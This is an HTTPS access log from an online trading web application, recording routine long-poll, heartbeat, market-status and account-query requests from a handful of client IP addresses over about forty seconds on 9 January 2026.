[09/Jan/2026:11:52:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931045893 HTTP/1.1" -
[09/Jan/2026:11:52:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931046411 HTTP/1.1" -
[09/Jan/2026:11:52:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931047120 HTTP/1.1" -
[09/Jan/2026:11:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931048387 HTTP/1.1" -
[09/Jan/2026:11:52:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931048928 HTTP/1.1" -
[09/Jan/2026:11:52:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931047303 HTTP/1.1" -
[09/Jan/2026:11:52:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:53:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:11:53:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931050077 HTTP/1.1" -
[09/Jan/2026:11:53:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931050964 HTTP/1.1" -
[09/Jan/2026:11:53:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931051648 HTTP/1.1" -
[09/Jan/2026:11:53:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931052178 HTTP/1.1" -
[09/Jan/2026:11:53:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931053951 HTTP/1.1" -
[09/Jan/2026:11:53:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931053586 HTTP/1.1" -
[09/Jan/2026:11:53:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931052333 HTTP/1.1" -
[09/Jan/2026:11:53:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931055139 HTTP/1.1" -
[09/Jan/2026:11:53:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:53:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/TransactionHistory HTTP/1.1" 558
[09/Jan/2026:11:53:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931056031 HTTP/1.1" -
[09/Jan/2026:11:53:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931056834 HTTP/1.1" -
[09/Jan/2026:11:53:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931057240 HTTP/1.1" -
[09/Jan/2026:11:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931058979 HTTP/1.1" -
[09/Jan/2026:11:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931058797 HTTP/1.1" -
[09/Jan/2026:11:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931057452 HTTP/1.1" -
[09/Jan/2026:11:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931060198 HTTP/1.1" -
[09/Jan/2026:11:53:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931061088 HTTP/1.1" -
[09/Jan/2026:11:53:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931062103 HTTP/1.1" -
[09/Jan/2026:11:53:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931062303 HTTP/1.1" -
[09/Jan/2026:11:53:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931064019 HTTP/1.1" -
[09/Jan/2026:11:53:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931063881 HTTP/1.1" -
[09/Jan/2026:11:53:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931062516 HTTP/1.1" -
[09/Jan/2026:11:53:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931065256 HTTP/1.1" -
[09/Jan/2026:11:53:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931066146 HTTP/1.1" -
[09/Jan/2026:11:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931067260 HTTP/1.1" -
[09/Jan/2026:11:53:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931067370 HTTP/1.1" -
[09/Jan/2026:11:53:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:53:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CashMovement HTTP/1.1" 586
[09/Jan/2026:11:53:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:11:53:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931069065 HTTP/1.1" -
[09/Jan/2026:11:53:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931069011 HTTP/1.1" -
[09/Jan/2026:11:53:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931067584 HTTP/1.1" -
[09/Jan/2026:11:53:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931070318 HTTP/1.1" -
[09/Jan/2026:11:53:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931071219 HTTP/1.1" -
[09/Jan/2026:11:53:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931072427 HTTP/1.1" -
[09/Jan/2026:11:53:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931072518 HTTP/1.1" -
[09/Jan/2026:11:53:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931074087 HTTP/1.1" -
[09/Jan/2026:11:53:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931072639 HTTP/1.1" -
[09/Jan/2026:11:53:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931074056 HTTP/1.1" -
[09/Jan/2026:11:53:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931075377 HTTP/1.1" -
[09/Jan/2026:11:53:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931076276 HTTP/1.1" -
[09/Jan/2026:11:53:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931077495 HTTP/1.1" -
[09/Jan/2026:11:53:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931077665 HTTP/1.1" -
[09/Jan/2026:11:53:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931079118 HTTP/1.1" -
[09/Jan/2026:11:53:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931077668 HTTP/1.1" -
[09/Jan/2026:11:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931079189 HTTP/1.1" -
[09/Jan/2026:11:53:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931080447 HTTP/1.1" -
[09/Jan/2026:11:53:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931081335 HTTP/1.1" -
[09/Jan/2026:11:53:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931082559 HTTP/1.1" -
[09/Jan/2026:11:53:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:53:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MultiCurrencyBalance HTTP/1.1" 1544
[09/Jan/2026:11:53:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931082939 HTTP/1.1" -
[09/Jan/2026:11:53:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931084161 HTTP/1.1" -
[09/Jan/2026:11:53:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931082703 HTTP/1.1" -
[09/Jan/2026:11:53:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931084374 HTTP/1.1" -
[09/Jan/2026:11:53:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931085504 HTTP/1.1" -
[09/Jan/2026:11:53:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931086405 HTTP/1.1" -
